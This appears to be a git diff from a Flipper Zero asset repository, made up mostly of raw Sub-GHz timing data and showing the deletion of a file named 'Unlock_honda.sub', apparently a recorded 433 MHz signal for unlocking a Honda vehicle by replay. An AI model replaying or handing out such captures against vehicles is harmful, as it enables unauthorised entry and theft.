103 -194 59 -304 51 -262 57 -270 96 -92 71 -409 73 -458 61 -194 53 -136 59 -979 152 -126 53 -156 59 -104 73 -396 71 -54 51 -185 92 -241 69 -187 59 -484 51 -452 81 -72 61 -134 59 -98 84 -62 134 -78 51 -806 232 -222 79 -167 167 -136 61 -619 53 -1214 79 -736 73 -224 88 -136 151 -128 83 -137 81 -62 59 -113 79 -210 53 -413 59 -85 59 -304 65 -133 93 -223 96 -275 118 -152 71 -110 53 -153 53 -124 51 -367 71 -400 75 -52 67 -108 59 -169 83 -188 53 -90 131 -270 98 -436 127 -162 53 -216 91 -304 53 -66 61 -215 59 -75 55 -136 107 -239 71 -460 51 -198 103 -90 59 -840 61 -90 59 -355 71 -52 75 -126 213 -162 71 -94 107 -98 53 -466 51 -74 138 -103 93 -114 121 -412 67 -82 59 -156 88 -432 113 -244 118 -578 57 -80 89 -62 71 -345 185 -102 89 -54 128 -112 61 -332 53 -237 59 -68 57 -182 251 -151 53 -82 51 -56 141 -84 51 -108 169 -54 324 -327 81 -135 53 -52 341 -80 153 -90 95 -198 138 -68 57 -54 121 -76 225 -76 320 -113 212 -82 77 -114 53 -77 143 -64 53 -96 53 -151 -RAW_Data: 142 -148 53 -149 53 -219 103 -165 97 -142 65 -115 59 -189 123 -72 51 -213 71 -74 61 -94 117 -158 79 -64 95 -95 142 -87 172 -70 140 -88 83 -145 99 -80 106 -171 93 -54 154 -76 94 -235 67 -62 79 -111 89 -89 67 -106 67 -64 71 -111 89 -62 57 -97 265 -126 137 -175 75 -112 55 -76 51 -84 89 -80 152 -202 222 -86 128 -162 110 -88 51 -133 67 -73 82 -119 79 -54 65 -147 127 -74 93 -72 102 -134 207 -268 79 -562 71 -278 89 -406 77 -98 81 -98 75 -312 53 -163 59 -219 61 -60 140 -104 116 -461 57 -191 61 -165 171 -518 69 -194 96 -150 71 -89 61 -280 63 -247 73 -188 59 -501 63 -118 51 -1184 61 -106 87 -98 71 -141 78 -545 142 -428 250 -594 53 -74 97 -343 71 -1049 53 -126 53 -203 150 -64 111 -377 165 -559 51 -510 142 -136 53 -290 82 -475 95 -194 89 -220 107 -90 59 -295 89 -479 61 -493 292 -246 89 -719 71 -561 115 -304 51 -579 115 -138 51 -54 51 -1095 168 -206 97 -104 150 -52 61 -499 53 -211 65 -620 79 -100 107 -68 88 -98 107 -106 79 -859 53 -112 151 -425 124 -62 85 -104 166 -259 71 -100 55 -87 53 -100 87 -102 53 -172 63 -633 79 -717 61 -750 141 -112 53 -371 113 -58 79 -858 77 -226 63 -203 71 -128 99 -74 57 -383 51 -328 61 -278 65 -372 93 -596 105 -446 71 -428 67 -76 59 -279 53 -281 94 -207 103 -355 87 -141 172 -164 178 -162 87 -222 153 -103 53 -160 89 -491 124 -100 67 -426 53 -425 63 -147 133 -114 98 -330 83 -216 77 -183 69 -54 71 -128 113 -54 111 -144 101 -52 112 -157 69 -221 151 -216 141 -982 119 -409 59 -518 67 -98 83 -72 89 -353 89 -252 61 -54 51 -70 65 -338 132 -166 105 -66 61 -172 116 -165 82 -429 148 -263 67 -92 55 -196 51 -238 94 -178 119 -769 59 -277 53 -172 88 -64 186 -74 51 -253 83 -630 59 -255 53 -144 69 -299 69 -121 232 -76 110 -100 67 -68 77 -197 81 -197 53 -261 61 -522 61 -257 61 -110 61 -130 55 -80 73 -201 51 -545 53 -62 98 -54 115 -314 55 -218 89 -235 93 -319 129 -621 67 -89 85 -691 71 -607 105 -481 53 -362 61 -161 53 -259 113 -206 51 -213 59 -656 75 -481 142 -240 51 -135 61 -755 51 -95 53 -150 106 -98 53 -100 67 -249 79 -191 132 -184 101 -115 130 -92 80 -608 65 -280 59 -98 53 -301 51 -231 200 -76 57 -64 81 -118 124 -427 61 -106 -RAW_Data: 114 -76 172 -86 142 -224 53 -141 79 -181 124 -86 59 -124 53 -169 53 -291 124 -100 61 -114 53 -430 61 -54 117 -178 81 -62 135 -133 107 -94 51 -117 71 -104 55 -312 134 -316 83 -348 59 -452 63 -583 85 -250 106 -280 169 -473 59 -399 73 -78 53 -283 51 -56 218 -126 63 -150 51 -330 57 -134 65 -158 53 -192 67 -173 114 -293 76 -227 138 -242 55 -254 67 -1185 57 -426 409 -550 65 -58 98 -369 96 -178 55 -348 105 -213 67 -367 53 -182 130 -258 75 -235 71 -102 53 -367 55 -318 67 -112 53 -399 101 -603 51 -269 69 -102 155 -175 61 -136 143 -161 81 -89 116 -198 69 -219 117 -224 53 -671 104 -256 75 -133 77 -132 127 -54 94 -78 51 -96 88 -292 53 -547 124 -274 98 -58 53 -203 53 -453 159 -228 51 -84 71 -174 113 -312 103 -76 53 -232 53 -54 87 -215 206 -161 79 -54 88 -224 89 -122 168 -681 99 -552 73 -600 53 -359 83 -214 73 -772 206 -151 125 -283 69 -212 61 -244 117 -326 142 -544 71 -114 83 -68 186 -104 53 -126 90 -255 53 -248 51 -181 77 -94 89 -84 71 -411 71 -64 97 -798 111 -340 141 -407 69 -86 102 -106 61 -94 99 -532 84 -249 61 -116 53 -606 51 -66 67 -333 53 -579 55 -115 51 -130 73 -754 61 -58 55 -99 53 -134 198 -113 51 -325 57 -528 53 -699 81 -60 71 -211 69 -80 51 -200 77 -62 75 -266 78 -78 119 -185 73 -116 51 -147 96 -223 67 -195 98 -130 73 -336 53 -603 88 -108 104 -108 115 -68 51 -746 89 -321 77 -204 81 -98 59 -253 57 -128 67 -356 88 -60 129 -281 79 -388 79 -766 97 -106 67 -313 71 -126 215 -463 51 -357 106 -78 53 -80 136 -70 131 -94 222 -146 55 -452 81 -268 97 -58 55 -241 143 -172 53 -141 63 -54 88 -873 51 -262 98 -629 68 -237 81 -54 73 -462 61 -552 79 -152 51 -315 156 -76 57 -191 99 -304 122 -187 71 -128 94 -189 75 -68 141 -322 95 -636 94 -164 55 -327 87 -184 53 -147 53 -52 57 -470 103 -159 53 -452 59 -288 81 -278 87 -291 71 -88 65 -277 73 -917 53 -466 110 -430 111 -247 103 -227 51 -92 105 -148 186 -70 63 -143 65 -560 128 -130 51 -127 53 -415 124 -142 95 -594 97 -124 61 -806 63 -180 61 -82 59 -212 59 -695 79 -249 175 -504 77 -296 51 -139 53 -286 53 -62 79 -137 65 -92 133 -81 89 -443 93 -52 51 -279 98 -188 75 -229 79 -214 53 -250 95 -646 53 -72 -RAW_Data: 149 -54 67 -300 85 -105 57 -185 89 -396 219 -1063 196 -344 110 -640 124 -571 75 -269 59 -100 71 -687 101 -60 79 -347 53 -178 94 -172 61 -490 63 -80 59 -180 61 -875 53 -201 90 -290 78 -240 65 -102 89 -807 59 -131 114 -896 55 -314 71 -287 79 -66 61 -102 135 -62 59 -56 90 -145 106 -1111 59 -116 63 -157 107 -296 53 -275 111 -462 83 -647 89 -215 61 -148 59 -155 63 -80 53 -90 61 -287 216 -178 104 -136 138 -195 79 -95 53 -92 178 -155 51 -140 51 -88 124 -290 57 -140 115 -128 65 -265 159 -120 59 -137 228 -187 85 -449 61 -68 51 -76 67 -232 75 -225 63 -285 88 -672 63 -296 69 -72 67 -467 71 -80 101 -84 57 -302 61 -471 81 -229 59 -379 191 -236 53 -84 90 -60 67 -213 51 -141 61 -224 71 -80 57 -60 51 -135 114 -108 143 -201 53 -377 63 -60 59 -234 155 -511 81 -54 92 -804 51 -363 96 -128 99 -218 63 -331 95 -327 53 -258 55 -557 71 -126 59 -153 138 -578 87 -85 63 -148 182 -490 59 -1019 133 -574 67 -78 59 -410 81 -1500 134 -133 59 -186 115 -361 51 -895 51 -146 57 -104 184 -78 71 -88 73 -540 88 -90 57 -518 51 -126 99 -461 96 -598 63 -256 71 -611 53 -187 142 -454 61 -72 115 -505 73 -221 53 -338 61 -479 149 -90 129 -220 67 -230 59 -271 61 -54 97 -138 96 -298 69 -233 90 -154 171 -200 161 -344 97 -168 89 -455 67 -108 333 -378 53 -267 132 -393 59 -237 53 -58 59 -156 194 -76 75 -268 55 -119 94 -557 124 -518 76 -402 150 -100 73 -129 82 -530 51 -370 196 -329 133 -108 51 -265 61 -225 79 -52 70 -266 107 -203 250 -254 51 -397 69 -310 160 -175 132 -78 53 -316 59 -197 57 -433 67 -124 103 -64 94 -269 128 -748 79 -72 51 -70 83 -729 57 -76 67 -54 119 -173 67 -210 95 -939 53 -527 84 -294 107 -115 65 -90 94 -250 53 -104 95 -64 87 -240 67 -610 63 -835 59 -94 115 -204 114 -98 55 -168 51 -686 147 -193 67 -235 57 -74 67 -104 59 -78 93 -74 96 -267 242 -163 59 -319 63 -196 59 -186 151 -56 90 -293 53 -415 53 -389 168 -250 125 -230 116 -72 66 -593 107 -150 115 -174 53 -60 83 -154 96 -90 115 -540 61 -54 105 -72 63 -222 83 -243 120 -88 112 -144 125 -392 79 -240 61 -122 156 -143 53 -285 51 -160 73 -90 73 -710 96 -87 51 -110 73 -62 96 -60 59 -198 77 -433 167 -497 73 -132 96 -241 -RAW_Data: 85 -128 91 -66 85 -231 97 -238 162 -166 67 -420 69 -307 262 -62 120 -665 178 -118 53 -93 59 -116 89 -231 53 -444 51 -126 61 -266 53 -450 59 -68 59 -52 89 -234 123 -319 95 -136 89 -156 139 -254 61 -396 61 -332 93 -88 51 -302 104 -97 77 -104 91 -286 78 -126 61 -125 59 -225 199 -223 61 -106 87 -284 57 -589 51 -455 79 -336 71 -490 126 -375 130 -383 77 -268 188 -630 67 -149 69 -168 51 -90 57 -176 53 -172 115 -255 130 -194 51 -202 59 -497 63 -220 61 -54 61 -54 53 -260 53 -437 93 -203 63 -307 99 -392 163 -307 67 -176 51 -132 172 -132 69 -255 110 -296 131 -108 63 -449 63 -455 53 -406 59 -353 90 -177 51 -120 124 -790 75 -168 71 -108 115 -118 122 -62 65 -363 69 -165 53 -119 100 -199 173 -56 97 -188 194 -162 51 -122 65 -188 79 -172 114 -351 129 -605 77 -245 61 -62 87 -62 61 -62 180 -72 113 -159 51 -605 84 -529 63 -177 126 -574 53 -62 110 -653 69 -167 59 -90 89 -186 119 -235 71 -160 63 -520 51 -74 165 -443 119 -396 109 -112 69 -280 71 -270 172 -74 53 -349 119 -576 68 -581 51 -82 59 -477 79 -70 190 -486 59 -294 86 -291 69 -1075 180 -80 71 -206 157 -265 53 -1405 106 -1158 59 -411 59 -428 69 -448 63 -552 92 -142 269 -186 191 -126 63 -297 59 -82 241 -166 75 -52 59 -82 59 -52 53 -142 71 -117 115 -380 53 -124 157 -105 67 -70 59 -357 65 -240 81 -669 53 -98 89 -132 137 -795 71 -152 170 -328 51 -96 119 -586 61 -101 212 -126 71 -144 89 -432 129 -82 71 -106 87 -284 112 -202 51 -477 59 -399 55 -72 121 -350 119 -58 71 -581 97 -241 88 -91 57 -356 79 -74 80 -548 53 -52 51 -258 51 -197 89 -244 79 -477 133 -407 98 -142 97 -215 53 -356 53 -304 53 -895 53 -116 120 -488 96 -56 55 -887 71 -202 168 -158 67 -427 103 -98 242 -312 53 -250 99 -112 51 -90 127 -76 97 -359 98 -359 51 -733 87 -482 75 -167 67 -70 53 -126 55 -598 104 -289 89 -238 74 -112 71 -70 51 -150 77 -188 55 -203 61 -276 204 -266 77 -126 57 -257 53 -174 83 -138 53 -146 51 -580 53 -58 53 -275 65 -319 87 -54 106 -54 89 -82 80 -76 229 -90 103 -238 59 -223 88 -60 125 -164 53 -153 53 -66 176 -98 61 -177 124 -76 53 -590 69 -375 85 -317 105 -461 71 -263 71 -644 85 -82 63 -134 71 -132 71 -142 61 -241 75 -400 -RAW_Data: 118 -223 79 -212 115 -256 71 -52 97 -601 161 -201 119 -440 85 -78 138 -669 61 -378 57 -608 51 -89 156 -271 55 -239 64 -387 93 -84 51 -115 69 -128 69 -729 71 -122 75 -368 51 -447 63 -391 99 -128 59 -376 133 -255 197 -1146 53 -144 57 -248 51 -352 51 -72 104 -178 172 -229 53 -176 53 -347 83 -252 55 -204 74 -135 118 -198 53 -82 94 -215 93 -378 53 -819 97 -88 78 -469 95 -90 59 -556 88 -254 246 -82 120 -236 59 -768 92 -74 125 -64 51 -201 141 -68 53 -113 83 -174 59 -213 59 -223 81 -387 98 -188 53 -379 53 -74 155 -218 96 -388 124 -470 131 -56 53 -108 81 -515 53 -387 71 -287 152 -331 110 -190 120 -52 59 -186 131 -271 59 -283 203 -88 73 -1222 67 -93 69 -75 124 -170 81 -76 89 -310 85 -78 73 -202 160 -62 69 -122 59 -106 88 -72 61 -169 79 -222 115 -60 53 -52 51 -52 51 -340 61 -706 63 -72 59 -286 116 -254 97 -166 67 -698 108 -348 103 -102 75 -189 53 -294 88 -265 87 -182 53 -188 116 -168 81 -118 80 -107 95 -916 104 -246 65 -654 59 -62 81 -767 186 -52 248 -160 75 -124 63 -70 51 -314 51 -285 61 -181 124 -247 53 -64 53 -521 57 -112 91 -66 59 -158 71 -614 61 -371 122 -150 123 -210 96 -76 89 -186 55 -311 51 -794 71 -545 53 -446 59 -60 51 -134 117 -120 158 -273 51 -214 115 -58 51 -310 100 -54 81 -479 51 -136 79 -90 51 -159 69 -542 51 -440 53 -328 120 -54 71 -111 250 -598 53 -82 61 -245 97 -610 92 -310 204 -184 97 -212 61 -104 91 -436 61 -82 53 -80 83 -182 135 -619 73 -520 67 -66 75 -321 110 -255 83 -462 61 -82 83 -115 85 -164 75 -299 61 -104 71 -52 61 -597 79 -160 71 -111 307 -153 87 -175 51 -409 93 -82 107 -219 59 -206 69 -152 67 -82 106 -180 120 -134 65 -84 61 -275 87 -60 75 -428 86 -182 145 -143 75 -84 51 -1149 71 -168 53 -92 51 -704 103 -294 102 -264 168 -115 107 -197 69 -310 78 -70 73 -132 61 -112 71 -315 127 -568 89 -82 73 -292 53 -512 116 -208 77 -1276 79 -213 67 -519 221 -82 59 -653 124 -64 59 -467 73 -537 103 -184 97 -482 93 -142 51 -991 63 -164 89 -78 83 -98 75 -259 51 -248 103 -967 67 -166 77 -167 81 -233 65 -164 51 -190 51 -548 95 -166 67 -140 51 -1661 82 -366 53 -562 69 -114 102 -170 67 -395 73 -313 51 -601 63 -131 153 -146 71 -189 diff --git a/assets/resources/subghz/Vehicles/Misc/Unlock_honda.sub b/assets/resources/subghz/Vehicles/Misc/Unlock_honda.sub deleted file mode 100644 index f0bee34ca..000000000 --- a/assets/resources/subghz/Vehicles/Misc/Unlock_honda.sub +++ /dev/null @@ -1,95 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433657070 -Preset: FuriHalSubGhzPresetCustom -Custom_preset_module: CC1101 -Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 36 10 69 15 32 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00 -Protocol: RAW -RAW_Data: 190 -224 73 -320 59 -149 99 -92 59 -176 95 -222 204 -98 113 -215 79 -195 89 -66 53 -449 121 -241 62 -1140 96 -162 97 -1189 57 -419 71 -183 135 -76 97 -299 51 -341 67 -221 53 -60 106 -116 77 -141 77 -76 109 -457 74 -724 74 -409 94 -162 55 -294 96 -321 88 -106 61 -90 79 -461 67 -527 53 -462 53 -365 89 -377 126 -92 116 -165 65 -254 75 -559 67 -257 81 -188 57 -500 53 -54 71 -120 63 -268 165 -197 83 -80 53 -126 77 -965 67 -82 73 -305 57 -313 61 -62 57 -62 81 -180 53 -102 97 -89 116 -284 110 -135 79 -178 89 -94 63 -330 65 -321 59 -98 65 -150 53 -161 71 -361 53 -416 152 -76 82 -352 53 -335 67 -1264 61 -552 105 -201 55 -118 53 -62 87 -217 63 -246 61 -68 67 -308 97 -149 81 -290 69 -60 170 -606 86 -115 188 -162 85 -203 53 -72 59 -72 161 -148 67 -210 87 -199 81 -646 99 -174 81 -100 51 -98 65 -236 87 -102 88 -678 71 -100 61 -182 85 -276 121 -739 78 -228 129 -483 51 -208 59 -112 59 -335 255 -204 67 -136 98 -336 59 -158 53 -507 51 -360 149 -657 123 -409 71 -247 53 -78 59 -102 53 -814 104 -370 67 -206 139 -94 85 -72 94 -637 71 -209 142 -54 61 -78 86 -138 59 -128 103 -892 205 -469 53 -243 156 -52 61 -126 136 -126 51 -276 61 -100 152 -507 63 -98 173 -116 67 -200 93 -120 91 -760 55 -78 53 -97 71 -183 105 -191 71 -124 81 -79 53 -106 65 -240 65 -100 98 -414 108 -182 97 -152 96 -666 76 -72 107 -82 53 -90 53 -168 65 -197 99 -230 59 -82 126 -222 71 -172 103 -158 122 -488 53 -205 57 -152 67 -211 105 -588 51 -72 53 -254 209 -162 77 -104 53 -193 89 -72 51 -209 71 -200 69 -482 63 -142 98 -262 67 -114 53 -165 61 -72 53 -117 67 -160 150 -62 59 -80 168 -349 100 -326 268 -660 59 -350 124 -80 184 -176 69 -80 102 -158 236 -369 69 -82 111 -108 71 -90 53 -174 167 -137 53 -66 89 -104 89 -72 51 -118 63 -239 99 -367 116 -429 75 -171 79 -134 151 -246 95 -133 117 -167 122 -120 73 -135 67 -313 53 -68 63 -80 71 -317 95 -144 71 -297 180 -98 113 -416 61 -172 137 -185 73 -262 61 -172 57 -289 103 -158 150 -216 71 -276 61 -312 80 -206 51 -174 53 -98 69 -68 129 -265 113 -52 51 -58 65 -227 167 -302 79 -54 79 -134 63 -161 53 -97 51 -144 79 -100 133 -305 81 -110 81 -841 -RAW_Data: 89 -68 51 -316 57 -106 69 -543 79 -76 142 -86 59 -315 63 -314 124 -678 80 -97 160 -322 173 -275 115 -260 111 -636 89 -294 69 -400 117 -500 67 -104 154 -237 79 -227 87 -190 101 -153 67 -674 156 -355 94 -214 63 -90 61 -114 59 -160 53 -532 61 -396 192 -676 59 -90 69 -80 81 -112 51 -213 55 -64 214 -54 69 -484 126 -106 53 -180 61 -554 75 -121 79 -76 51 -128 89 -202 67 -255 67 -430 51 -52 55 -323 71 -92 67 -315 83 -82 71 -170 53 -113 53 -146 69 -676 51 -178 115 -82 51 -70 59 -206 75 -340 53 -126 166 -152 122 -247 111 -76 51 -120 59 -205 89 -187 65 -138 162 -119 171 -95 67 -345 57 -195 93 -98 53 -64 149 -64 230 -231 79 -503 63 -198 67 -239 79 -202 59 -56 212 -374 67 -1006 108 -499 59 -66 67 -96 91 -417 133 -217 51 -480 59 -166 67 -276 61 -68 59 -313 166 -250 174 -168 109 -100 53 -209 67 -83 69 -104 67 -256 112 -102 73 -425 59 -96 55 -190 61 -86 104 -162 197 -417 61 -60 51 -120 129 -487 59 -70 181 -174 114 -188 89 -660 89 -112 149 -52 104 -154 97 -284 115 -562 112 -336 63 -161 112 -119 53 -239 112 -140 133 -126 67 -82 51 -229 71 -72 67 -98 87 -384 95 -330 128 -222 51 -168 96 -104 75 -78 180 -277 59 -240 55 -83 51 -208 81 -224 107 -311 53 -187 112 -426 117 -260 105 -257 59 -54 71 -191 102 -205 89 -116 136 -208 159 -204 121 -70 107 -60 124 -108 134 -54 106 -118 61 -132 53 -192 63 -139 81 -234 89 -174 53 -126 270 -393 81 -54 59 -80 111 -206 67 -135 74 -188 117 -54 53 -149 130 -122 105 -102 57 -131 65 -114 71 -445 107 -284 95 -90 53 -198 273 -467 96 -288 51 -663 57 -125 74 -66 79 -104 67 -145 105 -58 327 -112 129 -142 51 -601 53 -106 80 -337 61 -718 119 -352 71 -842 53 -100 57 -345 124 -300 143 -171 53 -84 59 -58 71 -98 69 -114 78 -412 59 -489 111 -52 91 -640 61 -673 186 -205 85 -173 124 -110 96 -484 96 -432 65 -269 103 -232 176 -62 80 -147 81 -172 61 -762 74 -285 61 -390 53 -393 61 -482 51 -960 239 -134 73 -1948 106 -946 53 -475 97 -161 73 -329 71 -164 81 -495 93 -652 63 -54 77 -64 104 -383 53 -64 53 -211 81 -106 75 -596 59 -66 215 -60 51 -90 90 -244 132 -458 59 -574 71 -262 53 -90 71 -80 99 -540 51 -108 110 -118 61 -900 105 -383 172 -90 69 -289 -RAW_Data: 71 -90 93 -219 73 -116 55 -62 180 -229 82 -74 75 -70 59 -450 63 -393 105 -320 51 -1060 217 -441 270 -308 119 -322 114 -672 134 -313 68 -60 53 -142 75 -232 57 -106 83 -84 77 -126 63 -447 61 -297 93 -80 105 -456 71 -338 53 -112 121 -76 232 -54 79 -950 51 -88 120 -104 107 -98 59 -200 184 -308 71 -403 53 -449 73 -74 125 -199 134 -207 53 -385 59 -295 71 -114 89 -86 94 -430 61 -82 124 -54 89 -833 61 -156 89 -82 211 -387 69 -132 61 -1364 59 -511 53 -96 129 -302 57 -177 99 -509 168 -201 63 -512 127 -339 128 -549 71 -321 137 -257 71 -117 71 -584 79 -177 143 -814 81 -790 103 -371 71 -90 89 -387 100 -124 81 -124 106 -79 53 -261 53 -186 103 -168 51 -630 59 -170 51 -52 67 -72 59 -174 61 -154 173 -102 81 -374 63 -100 85 -641 53 -154 97 -336 61 -133 51 -276 341 -412 74 -167 57 -184 85 -54 51 -212 77 -228 75 -152 223 -107 81 -225 81 -320 102 -66 97 -396 53 -72 165 -62 59 -263 67 -134 53 -156 130 -154 75 -264 69 -128 153 -316 69 -157 207 -229 65 -333 77 -593 59 -60 51 -197 100 -150 106 -278 53 -665 153 -342 61 -72 59 -90 53 -302 55 -377 71 -224 53 -92 130 -140 61 -177 51 -339 53 -551 75 -855 192 -154 164 -74 128 -86 79 -149 79 -245 184 -56 111 -126 138 -86 65 -286 97 -575 107 -222 164 -445 53 -321 115 -162 59 -150 88 -60 61 -98 110 -82 51 -258 205 -96 53 -90 73 -68 97 -830 93 -189 98 -88 61 -64 61 -255 61 -491 57 -274 85 -128 67 -281 133 -62 112 -424 53 -338 71 -545 53 -100 112 -377 241 -94 63 -337 230 -219 79 -188 53 -588 61 -262 69 -396 83 -230 81 -52 148 -142 79 -292 115 -70 71 -148 93 -62 53 -74 87 -178 57 -248 61 -74 59 -224 81 -293 109 -110 81 -382 61 -153 223 -253 104 -866 61 -324 73 -347 59 -106 186 -433 53 -221 146 -226 81 -306 124 -82 215 -152 111 -552 51 -82 61 -519 77 -1689 105 -419 67 -90 81 -161 100 -68 95 -110 73 -167 61 -96 97 -98 65 -222 83 -151 61 -218 67 -365 81 -62 53 -188 61 -115 53 -72 80 -1082 121 -154 61 -494 63 -90 77 -1174 69 -363 51 -249 85 -317 75 -135 67 -389 59 -560 106 -188 104 -269 53 -229 53 -945 81 -52 53 -80 61 -62 51 -148 109 -122 151 -84 53 -945 65 -56 80 -429 106 -122 85 -840 65 -160 53 -126 95 -591 83 -110 -RAW_Data: 57 -76 89 -68 67 -173 51 -1049 59 -154 53 -252 69 -618 51 -152 59 -156 51 -168 69 -72 106 -433 159 -134 136 -236 111 -613 69 -153 53 -192 107 -90 53 -565 107 -84 119 -205 53 -281 65 -674 53 -181 89 -157 63 -313 61 -204 59 -192 98 -518 78 -152 51 -206 61 -108 109 -138 57 -78 89 -390 61 -144 172 -473 61 -582 101 -275 61 -198 147 -122 67 -54 69 -1083 79 -54 53 -302 53 -354 81 -524 69 -305 103 -52 59 -170 51 -464 57 -394 51 -427 70 -337 53 -162 87 -634 51 -74 61 -235 73 -84 55 -139 53 -312 53 -90 132 -164 53 -204 99 -126 51 -207 136 -166 127 -72 65 -286 91 -421 139 -393 81 -136 53 -72 51 -549 89 -236 152 -193 325 -52 53 -144 92 -234 92 -64 53 -126 53 -289 113 -491 61 -64 53 -82 94 -134 59 -275 83 -84 78 -494 63 -127 53 -296 179 -329 53 -231 71 -199 61 -54 51 -125 53 -98 63 -70 130 -149 113 -98 51 -112 51 -134 71 -54 53 -82 77 -80 73 -114 104 -347 69 -309 59 -114 51 -132 63 -640 174 -358 71 -72 282 -449 51 -935 168 -54 63 -58 51 -178 51 -265 53 -467 53 -117 53 -116 53 -174 111 -124 63 -160 128 -470 97 -100 87 -358 51 -98 51 -216 209 -108 81 -245 97 -135 53 -134 147 -369 110 -499 63 -60 65 -265 100 -713 53 -66 170 -246 138 -196 79 -240 67 -584 59 -417 63 -267 61 -328 61 -167 332 -385 207 -423 81 -76 81 -479 75 -216 61 -296 142 -247 75 -98 61 -76 98 -352 73 -122 81 -62 91 -124 157 -1368 57 -379 65 -198 53 -448 107 -247 61 -214 111 -152 51 -465 75 -259 61 -60 95 -144 81 -286 65 -616 90 -394 119 -220 111 -82 111 -96 53 -332 81 -207 111 -268 61 -859 116 -116 51 -198 57 -890 59 -301 115 -111 53 -490 79 -138 53 -170 51 -210 59 -110 65 -607 67 -221 51 -104 67 -236 51 -1316 81 -110 61 -1104 71 -214 69 -626 121 -62 59 -157 61 -74 142 -308 63 -128 51 -292 57 -166 105 -673 51 -354 71 -62 83 -274 79 -569 57 -107 163 -60 69 -409 51 -168 95 -290 51 -144 53 -108 177 -136 57 -515 85 -178 190 -228 96 -54 142 -160 142 -297 69 -475 61 -246 89 -116 121 -100 53 -860 53 -82 59 -85 65 -604 112 -58 184 -152 87 -72 97 -118 71 -627 71 -444 96 -82 53 -171 96 -134 67 -414 51 -118 109 -144 77 -1175 61 -975 71 -111 111 -189 65 -378 61 -350 81 -453 88 -92 53 -60 -RAW_Data: 65 -330 53 -144 59 -62 53 -329 137 -92 102 -648 61 -54 120 -174 71 -110 88 -132 85 -149 160 -54 83 -52 145 -60 69 -374 53 -130 134 -707 111 -62 255 -64 57 -64 53 -401 55 -78 88 -198 91 -168 93 -996 57 -483 57 -217 113 -124 110 -862 53 -154 61 -339 81 -639 59 -188 67 -200 53 -302 63 -649 123 -150 79 -64 71 -231 71 -276 91 -310 53 -634 71 -120 71 -893 103 -209 88 -103 61 -512 93 -142 141 -212 55 -72 51 -108 53 -99 155 -52 96 -54 125 -184 81 -194 59 -294 71 -64 67 -220 121 -54 114 -104 63 -99 89 -116 147 -250 103 -62 61 -519 77 -507 85 -118 69 -303 115 -155 75 -151 81 -456 81 -52 91 -697 53 -304 129 -84 63 -292 127 -68 53 -292 96 -207 63 -360 103 -107 93 -129 81 -377 99 -298 53 -380 53 -695 95 -100 107 -290 53 -365 99 -381 67 -496 53 -414 61 -94 51 -135 89 -425 59 -172 51 -170 65 -236 89 -222 71 -364 93 -54 51 -130 87 -182 71 -108 183 -96 57 -321 53 -159 81 -357 51 -1030 97 -60 73 -190 63 -72 88 -144 57 -120 109 -104 57 -66 65 -130 53 -145 103 -312 69 -1157 61 -435 53 -105 77 -372 75 -152 51 -133 51 -231 51 -347 51 -363 148 -250 69 -258 165 -80 109 -1140 118 -416 71 -264 97 -116 59 -318 105 -111 51 -126 124 -340 57 -157 97 -80 53 -128 75 -76 87 -201 79 -179 206 -350 55 -180 59 -54 129 -233 106 -617 65 -226 101 -52 87 -203 81 -285 116 -347 53 -269 108 -400 131 -163 53 -456 94 -167 51 -288 77 -364 110 -153 99 -176 61 -142 123 -165 88 -82 69 -158 53 -365 67 -561 175 -64 59 -336 149 -92 78 -261 249 -80 53 -224 98 -242 112 -125 53 -428 61 -261 95 -246 77 -136 59 -62 59 -152 69 -622 93 -373 104 -390 139 -130 61 -68 57 -68 85 -225 51 -544 59 -180 87 -412 59 -468 96 -363 51 -538 124 -108 61 -54 89 -374 59 -103 63 -250 85 -82 96 -120 59 -278 166 -157 139 -165 88 -144 61 -52 148 -194 135 -70 130 -138 51 -242 83 -68 69 -124 65 -92 63 -80 71 -214 53 -273 51 -335 71 -251 57 -192 59 -88 107 -932 73 -356 81 -869 93 -1538 100 -142 53 -399 103 -114 158 -293 75 -414 51 -52 92 -296 61 -132 51 -155 83 -218 63 -378 71 -211 75 -178 96 -99 97 -210 89 -372 67 -689 89 -282 51 -693 141 -311 53 -228 77 -80 206 -155 75 -64 83 -155 149 -150 53 -112 71 -495 -RAW_Data: 63 -138 118 -291 51 -303 201 -474 133 -320 109 -168 61 -114 115 -70 59 -56 59 -74 63 -88 107 -707 51 -114 73 -123 132 -98 67 -54 125 -421 71 -322 71 -135 57 -74 82 -195 69 -256 97 -350 69 -164 119 -190 95 -116 51 -255 71 -245 89 -383 103 -181 191 -404 51 -672 126 -70 107 -720 57 -149 65 -126 89 -189 69 -363 67 -513 75 -419 113 -146 81 -228 93 -1763 65 -461 115 -62 67 -122 96 -232 53 -275 117 -230 53 -194 79 -88 59 -650 143 -74 53 -92 53 -372 107 -298 124 -233 88 -457 51 -558 133 -182 81 -82 75 -86 53 -64 81 -140 97 -374 51 -74 59 -176 53 -258 55 -776 51 -741 55 -258 85 -292 61 -191 67 -52 61 -133 141 -134 63 -100 63 -60 99 -124 59 -137 105 -56 65 -98 57 -99 105 -82 218 -89 91 -118 175 -98 79 -197 113 -160 71 -240 79 -176 81 -66 162 -668 81 -848 86 -108 59 -96 53 -326 79 -96 79 -196 71 -430 61 -88 88 -106 65 -68 139 -242 95 -350 53 -54 99 -301 53 -238 65 -397 103 -168 123 -425 143 -82 163 -186 75 -223 57 -253 53 -480 77 -177 190 -130 261 -200 57 -114 59 -98 73 -74 135 -136 78 -336 59 -122 57 -814 63 -190 180 -64 99 -60 67 -476 79 -136 121 -72 74 -80 53 -299 63 -278 61 -351 61 -131 154 -200 124 -78 160 -425 63 -425 63 -117 132 -118 185 -161 59 -98 194 -696 79 -216 200 -168 67 -702 55 -182 93 -132 67 -165 139 -609 81 -136 63 -116 53 -365 59 -412 59 -60 77 -277 51 -217 139 -1112 67 -152 91 -89 53 -222 119 -1090 93 -62 59 -218 61 -181 53 -299 77 -72 88 -98 105 -114 81 -185 57 -110 75 -226 63 -158 114 -112 79 -74 103 -276 57 -176 98 -90 77 -91 117 -488 106 -82 73 -399 129 -227 51 -519 53 -52 69 -136 89 -840 71 -316 53 -60 95 -474 57 -277 53 -116 106 -224 158 -287 107 -270 133 -555 69 -196 122 -78 119 -138 67 -257 69 -412 96 -65 73 -88 87 -222 71 -90 53 -102 118 -118 51 -52 93 -162 57 -157 74 -292 53 -116 137 -258 65 -198 80 -437 61 -72 108 -430 59 -273 51 -84 51 -408 95 -568 